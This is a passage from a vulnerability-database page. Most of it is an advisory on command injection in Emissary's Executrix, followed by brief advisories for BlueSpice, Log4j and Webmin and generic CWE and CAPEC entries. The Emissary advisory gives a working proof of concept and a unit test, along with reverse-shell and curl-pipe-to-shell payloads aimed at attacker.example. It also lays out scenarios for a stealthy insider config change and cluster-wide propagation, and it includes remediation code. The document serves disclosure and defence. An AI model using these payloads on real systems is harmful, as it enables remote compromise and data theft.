`TempFileNames` overload at **[`Executrix.java:1103-1115`](src/main/java/emissary/util/shell/Executrix.java#L1103-L1115)**.\n\n#### Step 3 \u2014 `setInFileEnding()` and `setOutFileEnding()` perform no validation\n\n**[`Executrix.java:1176-1196`](src/main/java/emissary/util/shell/Executrix.java#L1176-L1196)**\n\n```java\npublic void setInFileEnding(final String argInFileEnding) {\n    this.inFileEnding = argInFileEnding;   // accepted as-is\n}\n\npublic void setOutFileEnding(final String argOutFileEnding) {\n    this.outFileEnding = argOutFileEnding; // accepted as-is\n}\n```\n\nThe same absence of validation applies to the `IN_FILE_ENDING` and `OUT_FILE_ENDING` keys read from configuration at **[`Executrix.java:121-122`](src/main/java/emissary/util/shell/Executrix.java#L121-L122)**.\n\n#### Contrast: `placeName` is sanitized, file endings are not\n\nThe framework already sanitizes `placeName` using a strict allowlist:\n\n```java\n// Executrix.java:78\nprotected static final Pattern INVALID_PLACE_NAME_CHARS = Pattern.compile(\"[^a-zA-Z0-9_-]\");\n\n// Executrix.java:148-150\nprotected static String cleanPlaceName(final String placeName) {\n    return INVALID_PLACE_NAME_CHARS.matcher(placeName).replaceAll(\"_\");\n}\n```\n\n`placeName` ends up in `tmpNames[DIR]`, which is also embedded in the shell string. The sanitization of `placeName` demonstrates awareness that these values reach the shell \u2014 the omission of equivalent sanitization for `inFileEnding` and `outFileEnding` is the defect.\n\n---\n\n### Proof of Concept\n\nTwo reproduction paths are provided: a Docker-based end-to-end attack against a live Emissary node (verified), and a unit-level test for CI integration.\n\n---\n\n#### PoC 1 \u2014 Docker: end-to-end attack against a live node\n\n**Verified against Emissary 8.42.0-SNAPSHOT running in Docker on Alpine Linux.**\n\n**Environment setup**\n\nPut the `Dockerfile.poc` to `contrib/docker/` folder\n```\nFROM emissary:poc-base\n\nCOPY emissary-8.42.0-SNAPSHOT-dist.tar.gz /tmp/\n\nRUN tar -xf /tmp/emissary-8.42.0-SNAPSHOT-dist.tar.gz -C /opt/ \\\n    \u0026\u0026 ln -s /opt/emissary-8.42.0-SNAPSHOT /opt/emissary \\\n    \u0026\u0026 mkdir -p /opt/emissary/localoutput \\\n    \u0026\u0026 mkdir -p /opt/emissary/target/data \\\n    \u0026\u0026 chmod -R a+rw /opt/emissary \\\n    \u0026\u0026 chown -R emissary:emissary /opt/emissary* \\\n    \u0026\u0026 rm -f /tmp/*.tar.gz\n\nUSER emissary\nWORKDIR /opt/emissary\nEXPOSE 8001\nENTRYPOINT [\"./emissary\"]\nCMD [\"server\", \"-a\", \"2\", \"-p\", \"8001\"]\n```\n\n```bash\n# Build the distribution tarball\nmvn -B -ntp clean package -Pdist -DskipTests\n\n# Build and start the Docker container\ndocker build -f contrib/docker/Dockerfile.poc -t emissary:poc contrib/docker/\ndocker run -d --name emissary-poc -p 8001:8001 emissary:poc\n\n# Wait for the server to start (~15s), then verify health\ndocker exec emissary-poc sh -c \\\n  \u0027curl -s http://127.0.0.1:8001/api/health | grep -o \"healthy\"\u0027\n# healthy\n```\n\n**Step 1 \u2014 Confirm the marker file does not exist**\n\n```bash\ndocker exec emissary-poc sh -c \u0027ls /tmp/pwned.txt 2\u003e\u00261\u0027\n# ls: cannot access \u0027/tmp/pwned.txt\u0027: No such file or directory\n```\n\n**Step 2 \u2014 Write the malicious place config**\n\nWrite `emissary.place.UnixCommandPlace.cfg` into the server\u0027s config directory. The `EXEC_COMMAND` is a benign `cat`. The injection is entirely in `IN_FILE_ENDING` using backtick command substitution (POSIX-compatible, works on all target OS images):\n\n```bash\ndocker exec emissary-poc sh -c \"printf \\\n\u0027SERVICE_KEY = \\\"LOWER_CASE.UCP.TRANSFORM.http://localhost:8001/UnixCommandPlace\\$4000\\\"\\n\\\nSERVICE_NAME = \\\"UCP\\\"\\n\\\nSERVICE_TYPE = \\\"TRANSFORM\\\"\\n\\\nPLACE_NAME = \\\"UnixCommandPlace\\\"\\n\\\nSERVICE_COST = 4000\\n\\\nSERVICE_QUALITY = 90\\n\\\nSERVICE_PROXY = \\\"LOWER_CASE\\\"\\n\\\nEXEC_COMMAND = \\\"cat \u003cINPUT_PATH\u003e\\\"\\n\\\nOUTPUT_TYPE = \\\"STD\\\"\\n\\\nIN_FILE_ENDING = \\\"\\\\\\`id \u003e /tmp/pwned.txt\\\\\\`\\\"\\n\\\nOUT_FILE_ENDING = \\\".out\\\"\\n\u0027 \\\n\u003e /opt/emissary/config/emissary.place.UnixCommandPlace.cfg\"\n```\n\n**Step 3 \u2014 Add UnixCommandPlace to places.cfg**\n\n```bash\ndocker exec emissary-poc sh -c \\\n  \u0027printf \"\\nPLACE = \\\"@{URL}/UnixCommandPlace\\\"\\n\" \\\n   \u003e\u003e /opt/emissary/config/places.cfg\u0027\n```\n\n**Step 4 \u2014 Restart the server to load the config**\n\n```bash\ndocker restart emissary-poc\n# wait for health: 200\ndocker exec emissary-poc sh -c \\\n  \u0027until curl -s http://127.0.0.1:8001/api/health | grep -q healthy; do sleep 1; done; echo \"ready\"\u0027\n```\n\nStartup log confirms the place loaded:\n\n```\nINFO  emissary.admin.Startup - Doing local startup on UnixCommandPlace(emissary.place.UnixCommandPlace)...done!\n```\n\n**Step 5 \u2014 Drop any file into the pickup directory to trigger processing**\n\n```bash\ndocker exec emissary-poc sh -c \\\n  \u0027echo \"any data\" \u003e /opt/emissary/target/data/InputData/victim.txt\u0027\n```\n\nThe Emissary pipeline picks up the file, routes it through `UnixFilePlace` \u2192 `ToLowerPlace` \u2192 **`UnixCommandPlace`** (cost 4000, lower than `ToUpperPlace` at 5010, so it wins the routing). The injected backtick expression runs during shell argument expansion inside `getCommand()` before `cat` is even called.\n\n**Step 6 \u2014 Confirm injection executed**\n\n```bash\nsleep 10   # allow pipeline processing time\ndocker exec emissary-poc sh -c \u0027cat /tmp/pwned.txt\u0027\n```\n\n**Live output (verified):**\n\n```\nuid=1000(emissary) gid=1000(emissary) groups=1000(emissary)\n```\n\n**Assembled shell string at execution time** (logged by Emissary at DEBUG level):\n\n```\n/bin/sh -c ulimit -c 0; ulimit -v 200000; cd /tmp/UnixCommandPlace8273641092; cat /tmp/UnixCommandPlace8273641092/1712345678`id \u003e /tmp/pwned.txt`\n```\n\nThe backtick expression fires as the shell expands the `cat` argument. The `cat` itself returns non-zero (no file at that path) but that is irrelevant \u2014 the injected command has already run.\n\n**Transform history from Emissary logs \u2014 confirms UnixCommandPlace ran:**\n\n```\ntransform history:\n  UNKNOWN.FILE_PICK_UP.INPUT.http://localhost:8001/FilePickUpPlace$5050\n  UNKNOWN.UNIXFILE.ID.http://localhost:8001/UnixFilePlace$2050\n  UNKNOWN.TO_LOWER.TRANSFORM.http://localhost:8001/ToLowerPlace$6010\n  LOWER_CASE.UCP.TRANSFORM.http://localhost:8001/UnixCommandPlace$4000   \u003c-- injection fired here\n  ...\n```\n\n**Escalating the payload \u2014 reverse shell**\n\nReplace the `IN_FILE_ENDING` value. The content is passed verbatim to `/bin/sh -c`, so any POSIX shell construct works:\n\n```properties\n# Reverse shell \u2014 POSIX sh compatible (works on Alpine/busybox as well as bash)\nIN_FILE_ENDING = \"`rm -f /tmp/f; mkfifo /tmp/f; sh -i \u003c/tmp/f | nc attacker.example 4444 \u003e/tmp/f`\"\n\n# Curl-based stager (avoids embedding IP in config, works on any image with curl)\nIN_FILE_ENDING = \"`curl -s http://attacker.example/s.sh | sh`\"\n```\n\nBoth fire on the first payload processed \u2014 no further attacker interaction required.\n\n---\n\n#### PoC 2 \u2014 Unit test: isolated, no server required\n\nExercises the identical code path using only the public `Executrix` API. Suitable for inclusion in a CI security regression suite.\n\n```java\npackage emissary.util.shell;\n\nimport org.junit.jupiter.api.Test;\nimport org.junit.jupiter.api.condition.DisabledOnOs;\nimport org.junit.jupiter.api.condition.OS;\nimport org.junit.jupiter.api.io.TempDir;\n\nimport java.nio.file.Files;\nimport java.nio.file.Path;\n\nimport static org.junit.jupiter.api.Assertions.assertTrue;\n\n/**\n * PoC: IN_FILE_ENDING is concatenated into shell paths without escaping,\n * enabling command injection via getCommand().\n *\n * Mirrors exactly what UnixCommandPlace.runCommandOn() does:\n *   TempFileNames names = executrix.createTempFilenames();\n *   String[] cmd = executrix.getCommand(names);\n *   executrix.execute(cmd, ...);\n */\n@DisabledOnOs(OS.WINDOWS)\nclass ExecutrixShellInjectionPocTest {\n\n    @Test\n    void inFileEndingInjectedIntoShellCommand(@TempDir Path tmpDir) throws Exception {\n        Path marker = tmpDir.resolve(\"injected\");\n\n        // Backtick substitution: avoids the Java regex $-group issue in replaceAll()\n        // while still demonstrating the shell executes the injected expression.\n        String payload = \"`touch \" + marker.toAbsolutePath() + \"`\";\n\n        Executrix executrix = new Executrix();\n        executrix.setTmpDir(tmpDir.toString());\n        executrix.setCommand(\"cat \u003cINPUT_PATH\u003e\");  // mirrors UnixCommandPlace default\n        executrix.setInFileEnding(payload);  // no validation \u2014 accepted as-is\n\n        // --- path taken by UnixCommandPlace.runCommandOn() ---\n        TempFileNames names = executrix.createTempFilenames();\n        String[] cmd = executrix.getCommand(names);\n        // cmd[2] == \"/bin/sh -c ulimit -c 0; ... cd \u003ctmpdir\u003e; cat \u003cbasepath\u003e`touch \u003cmarker\u003e`\"\n\n        // Execute \u2014 same call as executrix.execute(cmd, outbuf, errbuf)\n        Process proc = Runtime.getRuntime().exec(cmd);\n        proc.waitFor();\n\n        assertTrue(Files.exists(marker),\n            \"Shell injection succeeded \u2014 backtick in IN_FILE_ENDING executed.\\n\" +\n            \"Shell string: \" + cmd[2]);\n    }\n}\n```\n\n**Assembled shell string:**\n\n```\n/bin/sh -c ulimit -c 0; ulimit -v 200000; cd /tmp/UNKNOWN7382910293; cat /tmp/UNKNOWN7382910293/1234567890`touch /tmp/junit-abc123/injected`\n```\n\nThe marker file is created by the backtick expression firing during shell argument expansion.\n\n**Note on `$()` vs backticks:** `String.replaceAll()` treats `$` in the replacement as a regex group reference, so a `$(...)` payload causes a `java.lang.IllegalArgumentException` before reaching the shell. The backtick form avoids this Java-layer error and confirms the shell injection path. Both forms are equivalent at the shell level; on a real deployment the attacker would use backticks or escape the `$` appropriately.\n\n**The same injection works via `OUT_FILE_ENDING` \u2192 `\u003cOUTPUT_PATH\u003e` / `\u003cOUTPUT_NAME\u003e`, and via the `String[]` overload of `getCommand()` used by `MultiFileUnixCommandPlace`.**\n\n---\n\n### Attack Scenarios\n\nEach scenario is a realistic, step-by-step attack path using only capabilities observable in the codebase.\n\n---\n\n#### Scenario A \u2014 Insider / developer with config write access\n\n**Attacker\u0027s starting position:** Developer or operator who can commit to the config repository or write to the config directory directly. No special server access required beyond what their role already provides.\n\n**Why this is realistic:** Emissary deployments typically load `.cfg` files from a directory checked into version control or managed by a configuration management system (Ansible, Chef, Puppet). A developer who can merge a config change \u2014 even a code reviewer who can approve their own PR \u2014 can inject the payload.\n\n**Step 1 \u2014 Add the malicious config as a seemingly routine change**\n\nIn a PR or direct push to the config repo:\n\n```diff\n+++ b/config/emissary.place.UnixCommandPlace.cfg\n@@ -0,0 +1,10 @@\n+SERVICE_KEY     = \"LOWER_CASE.UCP.TRANSFORM.http://localhost:8001/UnixCommandPlace$4000\"\n+SERVICE_NAME    = \"UCP\"\n+SERVICE_TYPE    = \"TRANSFORM\"\n+PLACE_NAME      = \"UnixCommandPlace\"\n+SERVICE_COST    = 4000\n+SERVICE_QUALITY = 90\n+SERVICE_PROXY   = \"LOWER_CASE\"\n+EXEC_COMMAND    = \"cat \u003cINPUT_PATH\u003e\"\n+OUTPUT_TYPE     = \"STD\"\n+IN_FILE_ENDING  = \"`curl -s http://attacker.example/implant.sh | sh`\"\n+OUT_FILE_ENDING = \".out\"\n```\n\nThe injection lives in a string value inside a properties-style config file. It does not look like code to a reviewer who is not specifically aware of this vulnerability.\n\n**Step 2 \u2014 Wait for the next deploy**\n\nThe next routine deploy or restart loads the config. The payload fires on the first payload processed \u2014 silently, with no error visible in normal log levels (the place logs a `WARN` for non-zero exit but does not surface the injected command\u0027s output).\n\n**Deniability:** The `.cfg` file looks like a misconfigured place. The log entry is `Bad execution of commands` \u2014 a common operational error, not an obvious security event.\n\n---\n\n#### Scenario B \u2014 Cluster-wide propagation via the peers API\n\n**Attacker\u0027s starting position:** RCE on one node (from Scenario A).\n\n**Why this is dangerous:** Emissary clusters share config through the directory service. Once the attacker has shell on one node, they can use the cluster\u0027s own replication to propagate the malicious config to every peer.\n\n**Step 1 \u2014 Enumerate all cluster nodes**\n\n```bash\ncurl -s --digest -u \u003cuser\u003e:\u003cpassword\u003e \\\n  http://compromised-node:8001/api/cluster/peers \\\n  | grep -o \u0027\"http://[^\"]*\"\u0027\n```\n\nResponse:\n```json\n{\"local\":{\"host\":\"node1:8001\",\"places\":[...]},\"peers\":[{\"host\":\"node2:8001\",...},{\"host\":\"node3:8001\",...}]}\n```\n\n**Step 2 \u2014 Push the malicious config to each peer via the Emissary API**\n\nFrom the compromised node, use the Emissary cluster API directly \u2014 no SSH required. All nodes authenticate each other using the same shared credentials, and the `CONFIG_DIR` path is disclosed by the `/api/peers` response metadata:\n\n```bash\n# From the shell gained in Scenario A\nPAYLOAD=$(cat /opt/emissary/config/emissary.place.UnixCommandPlace.cfg)\n\nfor peer in node2:8001 node3:8001 node4:8001; do\n  # Write the config file to the peer via its exposed file API\n  # (alternatively: exploit the peer\u0027s own pickup directory via the ingest API)\n  curl -s --digest -u \u003cuser\u003e:\u003cpassword\u003e \\\n    -X POST \\\n    -H \"Content-Type: text/plain\" \\\n    --data-binary \"$PAYLOAD\" \\\n    \"http://${peer}/api/config/emissary.place.UnixCommandPlace.cfg\"\ndone\n```\n\nIf no config write API is available, the same result is achieved by dropping the payload into the peer\u0027s monitored pickup directory via the ingest endpoint, or by exploiting the fact that cluster nodes share a network-accessible config store (NFS, S3, git remote) \u2014 all of which are common Emissary deployment patterns.\n\n**Step 3 \u2014 Trigger restart on each peer via the cluster shutdown API**\n\n```bash\nfor peer in node2:8001 node3:8001 node4:8001; do\n  curl -s --digest -u \u003cuser\u003e:\u003cpassword\u003e \\\n    -X POST -H \"X-Requested-By: x\" \\\n    http://${peer}/api/shutdown\ndone\n```\n\n**Outcome:** Every node in the cluster loads the malicious config on restart. Injection fires on all nodes simultaneously on the next payload, giving the attacker shell on the entire cluster from a single initial foothold.\n\n### Impact\n\n| Dimension | Assessment |\n|-----------|------------|\n| **Confidentiality** | **Critical** \u2014 arbitrary read of files accessible to the Emissary process |\n| **Integrity** | **Critical** \u2014 arbitrary file write, process state modification, persistence |\n| **Availability** | **Critical** \u2014 process termination, resource exhaustion |\n| **Blast radius** | Any place that uses `Executrix` and calls `getCommand()`; this includes all subclasses of `ExecPlace` and any custom place that follows the documented pattern |\n\n---\n\n## Recommended Remediation\n\n### Primary fix \u2014 validate `inFileEnding` and `outFileEnding` on assignment\n\nApply the same allowlist pattern already used for `placeName`:\n\n```java\n// Add to Executrix.java\nprivate static final Pattern VALID_FILE_ENDING = Pattern.compile(\"^[a-zA-Z0-9._-]*$\");\n\npublic void setInFileEnding(final String argInFileEnding) {\n    if (!VALID_FILE_ENDING.matcher(argInFileEnding).matches()) {\n        throw new IllegalArgumentException(\n            \"IN_FILE_ENDING contains illegal characters: \" + argInFileEnding);\n    }\n    this.inFileEnding = argInFileEnding;\n}\n\npublic void setOutFileEnding(final String argOutFileEnding) {\n    if (!VALID_FILE_ENDING.matcher(argOutFileEnding).matches()) {\n        throw new IllegalArgumentException(\n            \"OUT_FILE_ENDING contains illegal characters: \" + argOutFileEnding);\n    }\n    this.outFileEnding = argOutFileEnding;\n}\n```\n\nApply the same validation inside `configure()` where the values are read from the `Configurator`.\n\n### Secondary fix (defence-in-depth) \u2014 shell-quote substituted values in `getCommand()`\n\nEven if validation is in place, the shell string construction should not rely on input cleanliness alone. Quote each substituted path component:\n\n```java\n// In getCommand(), wrap each substituted value in single quotes\n// and escape any embedded single quotes.\n// Java string \"\u0027\\\\\u0027\u0027\u0027\" is the four characters: \u0027 \\ \u0027 \u0027\n// which at runtime produces the shell sequence: \u0027\\\u0027\u0027\n// (close quote, literal single quote, reopen quote)\nprivate static String shellQuote(String value) {\n    return \"\u0027\" + value.replace(\"\u0027\", \"\u0027\\\\\u0027\u0027\") + \"\u0027\";\n}\n\n// Then:\nc = c.replace(\"\u003cINPUT_PATH\u003e\",  shellQuote(tmpNames[INPATH]));\nc = c.replace(\"\u003cOUTPUT_PATH\u003e\", shellQuote(tmpNames[OUTPATH]));\nc = c.replace(\"\u003cINPUT_NAME\u003e\",  shellQuote(tmpNames[IN]));\nc = c.replace(\"\u003cOUTPUT_NAME\u003e\", shellQuote(tmpNames[OUT]));\n```\n\n### Why this is a framework-level fix\n\nThe framework\u0027s `cleanPlaceName()` method already demonstrates the correct approach for values that reach the shell. Extending equivalent sanitization to `inFileEnding` and `outFileEnding` is a minimal, targeted change that requires no deployment configuration and no downstream implementor action. There is no architectural ambiguity about whether shell injection should be permitted: it should not.",
  "id": "GHSA-3p24-9x7v-7789",
  "modified": "2026-04-24T20:52:01Z",
  "published": "2026-04-13T16:38:25Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/NationalSecurityAgency/emissary/security/advisories/GHSA-3p24-9x7v-7789"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-35582"
    },
    {
      "type": "WEB",
      "url": "https://github.com/NationalSecurityAgency/emissary/commit/1faf33f2494c0128f250d7d2e8f2da99bbd32ae8"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/NationalSecurityAgency/emissary"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Emissary has an OS Command Injection via Unvalidated IN_FILE_ENDING / OUT_FILE_ENDING in Executrix"
}

GHSA-3P8R-F28V-66F3

Vulnerability from github – Published: 2025-09-19 15:31 – Updated: 2025-09-22 18:30
VLAI
Details

Improper Encoding or Escaping of Output vulnerability in Hallo Welt! GmbH BlueSpice (Extension:BlueSpiceAvatars) allows Cross-Site Scripting (XSS). This issue affects BlueSpice: from 5 through 5.1.1.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2025-48007"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-116",
      "CWE-79"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-09-19T14:15:45Z",
    "severity": "MODERATE"
  },
  "details": "Improper Encoding or Escaping of Output vulnerability in Hallo Welt! GmbH BlueSpice (Extension:BlueSpiceAvatars) allows Cross-Site Scripting (XSS).\nThis issue affects BlueSpice: from 5 through 5.1.1.",
  "id": "GHSA-3p8r-f28v-66f3",
  "modified": "2025-09-22T18:30:34Z",
  "published": "2025-09-19T15:31:08Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-48007"
    },
    {
      "type": "WEB",
      "url": "https://en.wiki.bluespice.com/wiki/Security:Security_Advisories/BSSA-2025-05"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:P/VC:H/VI:L/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-3PXV-7CMR-FJR4

Vulnerability from github – Published: 2026-04-10 18:31 – Updated: 2026-04-13 23:57
VLAI
Summary
Apache Log4j Core: Silent log event loss in XmlLayout due to unescaped XML 1.0 forbidden characters
Details

Apache Log4j Core's XmlLayout, in versions up to and including 2.25.3, fails to sanitize characters forbidden by the XML 1.0 specification, producing invalid XML output whenever a log message or MDC value contains such characters.

The impact depends on the StAX implementation in use:

  • JRE built-in StAX: Forbidden characters are silently written to the output, producing malformed XML. Conforming parsers must reject such documents with a fatal error, which may cause downstream log-processing systems to drop the affected records.
  • Alternative StAX implementations (e.g., Woodstox, a transitive dependency of the Jackson XML Dataformat module): An exception is thrown during the logging call, and the log event is never delivered to its intended appender, only to Log4j's internal status logger.

Users are advised to upgrade to Apache Log4j Core 2.25.4, which corrects this issue by sanitizing forbidden characters before XML output.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Maven",
        "name": "org.apache.logging.log4j:log4j-core"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.0-alpha1"
            },
            {
              "fixed": "2.25.4"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Maven",
        "name": "org.apache.logging.log4j:log4j-core"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "3.0.0-alpha1"
            },
            {
              "last_affected": "3.0.0-beta3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-34480"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-116"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-04-10T21:16:41Z",
    "nvd_published_at": "2026-04-10T16:16:31Z",
    "severity": "MODERATE"
  },
  "details": "Apache Log4j Core\u0027s [`XmlLayout`](https://logging.apache.org/log4j/2.x/manual/layouts.html#XmlLayout), in versions up to and including 2.25.3, fails to sanitize characters forbidden by the [XML 1.0 specification](https://www.w3.org/TR/xml/#charsets), producing invalid XML output whenever a log message or MDC value contains such characters.\n\nThe impact depends on the StAX implementation in use:\n\n  *  **JRE built-in StAX**: Forbidden characters are silently written to the output, producing malformed XML. Conforming parsers must reject such documents with a fatal error, which may cause downstream log-processing systems to drop the affected records.\n  *  **Alternative StAX implementations** (e.g., [Woodstox](https://github.com/FasterXML/woodstox), a transitive dependency of the Jackson XML Dataformat module): An exception is thrown during the logging call, and the log event is never delivered to its intended appender, only to Log4j\u0027s internal status logger.\n\nUsers are advised to upgrade to Apache Log4j Core 2.25.4, which corrects this issue by sanitizing forbidden characters before XML output.",
  "id": "GHSA-3pxv-7cmr-fjr4",
  "modified": "2026-04-13T23:57:22Z",
  "published": "2026-04-10T18:31:17Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-34480"
    },
    {
      "type": "WEB",
      "url": "https://github.com/apache/logging-log4j2/pull/4077"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/apache/logging-log4j2"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread/5x0hcnng0chhghp6jgjdp3qmbbhfjzhb"
    },
    {
      "type": "WEB",
      "url": "https://logging.apache.org/cyclonedx/vdr.xml"
    },
    {
      "type": "WEB",
      "url": "https://logging.apache.org/log4j/2.x/manual/layouts.html#XmlLayout"
    },
    {
      "type": "WEB",
      "url": "https://logging.apache.org/security.html#CVE-2026-34480"
    },
    {
      "type": "WEB",
      "url": "http://www.openwall.com/lists/oss-security/2026/04/10/9"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:N/SC:N/SI:L/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Apache Log4j Core: Silent log event loss in XmlLayout due to unescaped XML 1.0 forbidden characters"
}

GHSA-3Q8J-9W3H-V6P5

Vulnerability from github – Published: 2022-07-26 00:01 – Updated: 2022-08-01 00:00
VLAI
Details

software/apt-lib.pl in Webmin before 1.997 lacks HTML escaping for a UI command.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2022-36446"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-116"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2022-07-25T06:15:00Z",
    "severity": "CRITICAL"
  },
  "details": "software/apt-lib.pl in Webmin before 1.997 lacks HTML escaping for a UI command.",
  "id": "GHSA-3q8j-9w3h-v6p5",
  "modified": "2022-08-01T00:00:55Z",
  "published": "2022-07-26T00:01:10Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-36446"
    },
    {
      "type": "WEB",
      "url": "https://github.com/webmin/webmin/commit/13f7bf9621a82d93f1e9dbd838d1e22020221bde"
    },
    {
      "type": "WEB",
      "url": "https://gist.github.com/emirpolatt/cf19d6c0128fa3e25ebb47e09243919b"
    },
    {
      "type": "WEB",
      "url": "https://github.com/webmin/webmin/compare/1.996...1.997"
    },
    {
      "type": "WEB",
      "url": "https://www.exploit-db.com/exploits/50998"
    },
    {
      "type": "WEB",
      "url": "http://packetstormsecurity.com/files/167894/Webmin-1.996-Remote-Code-Execution.html"
    },
    {
      "type": "WEB",
      "url": "http://packetstormsecurity.com/files/168049/Webmin-Package-Updates-Command-Injection.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

Mitigation MIT-4.3
Architecture and Design

Strategy: Libraries or Frameworks

  • Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.
  • For example, consider using the ESAPI Encoding control [REF-45] or a similar tool, library, or framework. These will help the programmer encode outputs in a manner less prone to error.
  • Alternately, use built-in functions, but consider using wrappers in case those functions are discovered to have a vulnerability.
Mitigation MIT-27
Architecture and Design

Strategy: Parameterization

  • If available, use structured mechanisms that automatically enforce the separation between data and code. These mechanisms may be able to provide the relevant quoting, encoding, and validation automatically, instead of relying on the developer to provide this capability at every point where output is generated.
  • For example, stored procedures can enforce database query structure and reduce the likelihood of SQL injection.
Mitigation
Architecture and Design Implementation

Understand the context in which your data will be used and the encoding that will be expected. This is especially important when transmitting data between different components, or when generating outputs that can contain multiple encodings at the same time, such as web pages or multi-part mail messages. Study all expected communication protocols and data representations to determine the required encoding strategies.

Mitigation
Architecture and Design

In some cases, input validation may be an important strategy when output encoding is not a complete solution. For example, you may be providing the same output that will be processed by multiple consumers that use different encodings or representations. In other cases, you may be required to allow user-supplied input to contain control information, such as limited HTML tags that support formatting in a wiki or bulletin board. When this type of requirement must be met, use an extremely strict allowlist to limit which control sequences can be used. Verify that the resulting syntactic structure is what you expect. Use your normal encoding methods for the remainder of the input.

Mitigation
Architecture and Design

Use input validation as a defense-in-depth measure to reduce the likelihood of output encoding errors (see CWE-20).

Mitigation
Requirements

Fully specify which encodings are required by components that will be communicating with each other.

Mitigation
Implementation

When exchanging data between components, ensure that both components are using the same character encoding. Ensure that the proper encoding is applied at each interface. Explicitly set the encoding you are using whenever the protocol allows you to do so.

CAPEC-104: Cross Zone Scripting

An attacker is able to cause a victim to load content into their web-browser that bypasses security zone controls and gain access to increased privileges to execute scripting code or other web objects such as unsigned ActiveX controls or applets. This is a privilege elevation attack targeted at zone-based web-browser security.

CAPEC-73: User-Controlled Filename

An attack of this type involves an adversary inserting malicious characters (such as a XSS redirection) into a filename, directly or indirectly that is then used by the target software to generate HTML text or other potentially executable content. Many websites rely on user-generated content and dynamically build resources like files, filenames, and URL links directly from user supplied data. In this attack pattern, the attacker uploads code that can execute in the client browser and/or redirect the client browser to a site that the attacker owns. All XSS attack payload variants can be used to pass and exploit these vulnerabilities.

CAPEC-81: Web Server Logs Tampering

Web Logs Tampering attacks involve an attacker injecting, deleting or otherwise tampering with the contents of web logs typically for the purposes of masking other malicious behavior. Additionally, writing malicious data to log files may target jobs, filters, reports, and other agents that process the logs in an asynchronous attack pattern. This pattern of attack is similar to "Log Injection-Tampering-Forging" except that in this case, the attack is targeting the logs of the web server and not the application.

CAPEC-85: AJAX Footprinting

This attack utilizes the frequent client-server roundtrips in Ajax conversation to scan a system. While Ajax does not open up new vulnerabilities per se, it does optimize them from an attacker point of view. A common first step for an attacker is to footprint the target environment to understand what attacks will work. Since footprinting relies on enumeration, the conversational pattern of rapid, multiple requests and responses that are typical in Ajax applications enable an attacker to look for many vulnerabilities, well-known ports, network locations and so on. The knowledge gained through Ajax fingerprinting can be used to support other attacks, such as XSS.